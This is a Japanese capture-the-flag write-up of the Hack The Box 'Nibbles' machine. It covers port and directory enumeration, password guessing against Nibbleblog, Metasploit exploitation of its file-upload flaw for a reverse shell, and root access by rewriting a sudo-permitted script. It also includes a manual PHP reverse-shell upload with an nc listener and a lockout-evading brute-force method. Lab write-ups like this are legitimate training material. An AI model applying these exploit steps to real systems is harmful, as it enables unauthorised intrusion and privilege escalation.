【Hack The Box】Nibbles Writeup

# Executive summary

- Easy Boxの中でもまあまあ簡単
- Nibbleblog 4.0.4以前の脆弱性（CVE-2015-6967）を悪用する　https://nvd.nist.gov/vuln/detail/CVE-2015-6967
- SSH（22/tcp）は使用しなかった

# Tool / Command
- nmap
- ffuf
- CeWL
- Metasploit
- sudo -l
- unzip personal.zip
- #! /bin/bash
  bash
- php-reverse-shell.php （pentestmonkey） ※参考欄にて使用

## 1. PortScan
「22/tcp」と「80/tcp」が開いている
`sudo nmap 10.10.10.75 -sS -T4 -sVC --max-rate 1000 --min-rate 1000`

```bash
└─$ sudo nmap 10.10.10.75 -sS -T4 -sVC --max-rate 1000 --min-rate 1000    
[sudo] kali のパスワード:
Starting Nmap 7.92 ( https://nmap.org ) at 2023-05-04 22:16 JST
Nmap scan report for 10.10.10.75
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.23 seconds
```

## 2. Local Shell

### HTTP：Apache httpd 2.4.18

HTTPに対して侵入を試みる

ブラウザでアクセスする
Hello world!しかない
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3333681/32cb3c26-b807-0109-2d41-c9c4a9bbb5d7.png)
ソースコードを見る
コメントアウトから/nibbleblog/ディレクトリがあることがわかる
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3333681/d992be76-adef-e65c-a63b-5bdfbfcbbded.png)
「http\://10.10.10.75/nibbleblog/」にアクセスする
フッダーの方にPowered by Nibbleblogと記載がある
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3333681/5af6ea7c-4d36-2239-1e25-af4749be2773.png)
ディレクトリ探索をする
admin.phpはもちろん、200のREADME、301のその他も気になる
`ffuf -u http://10.10.10.75/nibbleblog/FUZZ -w /usr/share/dirb/wordlists/common.txt`

```bash
└─$ ffuf -u http://10.10.10.75/nibbleblog/FUZZ -w /usr/share/dirb/wordlists/common.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.75/nibbleblog/FUZZ
 :: Wordlist         : FUZZ: /usr/share/dirb/wordlists/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 2987, Words: 116, Lines: 61, Duration: 307ms]
.hta                    [Status: 403, Size: 301, Words: 22, Lines: 12, Duration: 5015ms]
.htpasswd               [Status: 403, Size: 306, Words: 22, Lines: 12, Duration: 5018ms]
.htaccess               [Status: 403, Size: 306, Words: 22, Lines: 12, Duration: 5019ms]
admin.php               [Status: 200, Size: 1401, Words: 79, Lines: 27, Duration: 292ms]
admin                   [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 296ms]
content                 [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 305ms]
index.php               [Status: 200, Size: 2987, Words: 116, Lines: 61, Duration: 306ms]
languages               [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 308ms]
plugins                 [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 308ms]
README                  [Status: 200, Size: 4628, Words: 589, Lines: 64, Duration: 317ms]
themes                  [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 358ms]
:: Progress: [4614/4614] :: Job [1/1] :: 130 req/sec :: Duration: [0:00:39] :: Errors: 0 ::
```

「http\://10.10.10.75/nibbleblog/admin.php」にアクセスする
ログインフォームが確認できる
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3333681/7668ef1c-3a2a-68ba-6228-3001cca45346.png)
「http\://10.10.10.75/nibbleblog/README」にアクセスする
Nibbleblogのバージョン（4.0.3）が確認できる
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3333681/e74b7959-f5f7-dff4-873a-a65792eae17c.png)
「http\://10.10.10.75/nibbleblog/admin/」にアクセスする
ディレクトリリスティングが確認できる
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3333681/e2976be8-d39f-3ae5-4605-ec22956d51dc.png)
Exploit-DBで「Nibbleblog 4.0.3」を検索する
一つPoCが確認できる

```bash
└─$ searchsploit Nibbleblog 4.0.3                                     
-------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                  |  Path
-------------------------------------------------------------------------------- ---------------------------------
Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit)                           | php/remote/38489.rb
-------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

Metasploitで確認したが、USERNAMEとPASSWORDが必須だった
`msfconsole`
`search Nibbleblog 4.0.3`
`use 0`
`options`

```bash
msf6 > search Nibbleblog 4.0.3

Matching Modules
================

   #  Name                                       Disclosure Date  Rank       Check  Description
   -  ----                                       ---------------  ----       -----  -----------
   0  exploit/multi/http/nibbleblog_file_upload  2015-09-01       excellent  Yes    Nibbleblog File Upload Vulnerability


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/nibbleblog_file_upload

msf6 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/nibbleblog_file_upload) > options 

Module options (exploit/multi/http/nibbleblog_file_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/
                                         wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the web application
   USERNAME                    yes       The username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.20     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Nibbleblog 4.0.3
```

ユーザ名、パスワード【admin】や簡単なSQLi【' or 1 = 1; -- -】【' or 1 = 1; #】などを試したがログインできなかった

ディレクトリリスティングから色々探索していると「http\://10.10.10.75/nibbleblog/content/private/users.xml」からユーザ名がadminだとわかった　※ブラックリストのようなものも
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3333681/fa15d3fa-a2e6-a066-754a-e988467f4f2a.png)
Hydraをrockyou.txtを使用して実行したところ、すべて正しいパスワードと出力してロックアウトされることがわかった

CeWLでパスワードリストを作成する
--lowercaseオプションを指定して小文字にする
`cewl http://10.10.10.75/nibbleblog/ -w cewl-wordlist.txt --lowercase`

CeWLの出力を試したらnibblesでログインできた

先ほどのMetasploitのPoCを試すとリバースシェルが取得できる
いつものおまじない【python -c 'import pty; pty.spawn("/bin/bash")'】はエラー出力したが、python3【python3 -c 'import pty; pty.spawn("/bin/bash")'】にすることで機能した

`set password nibbles`
`set rhosts 10.10.10.75`
`set targeturi /nibbleblog`
`set username admin`
`set lhost 10.10.14.4`
`options`

```bash
msf6 exploit(multi/http/nibbleblog_file_upload) > options 

Module options (exploit/multi/http/nibbleblog_file_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   nibbles          yes       The password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.75      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/
                                         wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /nibbleblog      yes       The base path to the web application
   USERNAME   admin            yes       The username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.4       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Nibbleblog 4.0.3
```

`exploit`

```bash
msf6 exploit(multi/http/nibbleblog_file_upload) > exploit 

[*] Started reverse TCP handler on 10.10.14.4:4444 
[*] Sending stage (39927 bytes) to 10.10.10.75
[+] Deleted image.php
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.75:59628) at 2023-05-05 00:36:33 +0900

meterpreter > shell
Process 1914 created.
Channel 0 created.
id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
python -c 'import pty; pty.spawn("/bin/bash")'
/bin/sh: 2: python: not found
python3 -c 'import pty; pty.spawn("/bin/bash")'
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ pwd
<ml/nibbleblog/content/private/plugins/my_image$ pwd                         
/var/www/html/nibbleblog/content/private/plugins/my_image
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ cd /home
<ml/nibbleblog/content/private/plugins/my_image$ cd /home                    
nibbler@Nibbles:/home$ ls -la
ls -la
total 12
drwxr-xr-x  3 root    root    4096 Dec 10  2017 .
drwxr-xr-x 23 root    root    4096 Dec 15  2020 ..
drwxr-xr-x  3 nibbler nibbler 4096 Dec 29  2017 nibbler
nibbler@Nibbles:/home$ cd nibbler
cd nibbler
nibbler@Nibbles:/home/nibbler$ ls -la
ls -la
total 20
drwxr-xr-x 3 nibbler nibbler 4096 Dec 29  2017 .
drwxr-xr-x 3 root    root    4096 Dec 10  2017 ..
-rw------- 1 nibbler nibbler    0 Dec 29  2017 .bash_history
drwxrwxr-x 2 nibbler nibbler 4096 Dec 10  2017 .nano
-r-------- 1 nibbler nibbler 1855 Dec 10  2017 personal.zip
-r-------- 1 nibbler nibbler   33 May  4 09:15 user.txt
nibbler@Nibbles:/home/nibbler$ cat user.txt
cat user.txt
9af0c7c98f57be611ab6ae**********
```

## 3. Privilege Escalation

管理者権限で実行可能なコマンドがあるか確認する
「/home/nibbler/personal/stuff/monitor.sh」が確認できる
`sudo -l`

/personal/stuff/monitor.shはpersonal.zipとして圧縮されていた

personal.zipを解凍する
`unzip personal.zip`

monitor.shには、書き込み、実行権限があることが確認できる

```bash
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -la
ls -la
total 12
drwxr-xr-x 2 nibbler nibbler 4096 Dec 10  2017 .
drwxr-xr-x 3 nibbler nibbler 4096 Dec 10  2017 ..
-rwxrwxrwx 1 nibbler nibbler 4015 May  8  2015 monitor.sh
```

monitor.shをbash実行に書き換える
`echo '#! /bin/bash' > monitor.sh`
`echo 'bash' >> monitor.sh`

```bash
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo '#! /bin/bash' > monitor.sh
<er/personal/stuff$ echo '#! /bin/bash' > monitor.sh                         
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo 'bash' >> monitor.sh
echo 'bash' >> monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh
cat monitor.sh
#! /bin/bash
bash
```

sudoを指定して実行する
`sudo /home/nibbler/personal/stuff/monitor.sh`

管理者権限が取得できる

```bash
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh
<er/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh             
root@Nibbles:/home/nibbler/personal/stuff# id
id
uid=0(root) gid=0(root) groups=0(root)
root@Nibbles:/home/nibbler/personal/stuff# cat /root/root.txt
cat /root/root.txt
3de7d17a36f6aa70cd4ec7**********
```

### （参考）Metasploitを使用しないLocal Shellの取得
OSCPではMetasploitは1Boxしか使用できないので覚えておく

ログイン後、以下に遷移する
Plugins > My imageのConfigure
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3333681/cc4e73ee-3d2c-e82a-933f-ff9300223742.png)
以下を参照して悪用を試みる

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

以下を編集する
`$ip = '10.10.14.4';  // CHANGE THIS`
`$port = 4444;       // CHANGE THIS`

php-reverse-shell.phpからimage.phpへファイル名を変更してアップロードする　※php-reverse-shell.phpのままだとすぐに削除される
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3333681/352405e0-15c6-579d-1ff1-add24903002a.png)
「http\://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php」にアクセスする
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3333681/860e876f-836a-47a4-3ce9-d082d2ed002b.png)
ポート「4444」で待ち受ける
`nc -lnvp 4444`

リバースシェルが取得できる

```bash
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.75] 50890
Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 03:15:56 up 22 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
```

（余談）
ログインフォームは6回連続失敗で1分間ロックアウトされる

ブラウザには、Nibbleblog security error - Blacklist protectionと出力される
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3333681/2ec58202-ab8e-c74c-1992-7e0d74b0b9a4.png)
「http\://10.10.10.75/nibbleblog/content/private/users.xml」には、私のIPアドレスが登録される
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3333681/1af94c79-9421-516b-e8ff-bee9c371c333.png)
Burp SuiteのIntruderを使用して、ログイン試行を1分半間隔で実行することでパスワードがわかる
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3333681/b2370b5e-85f4-3089-5f25-acfa7725b9e1.png)

以上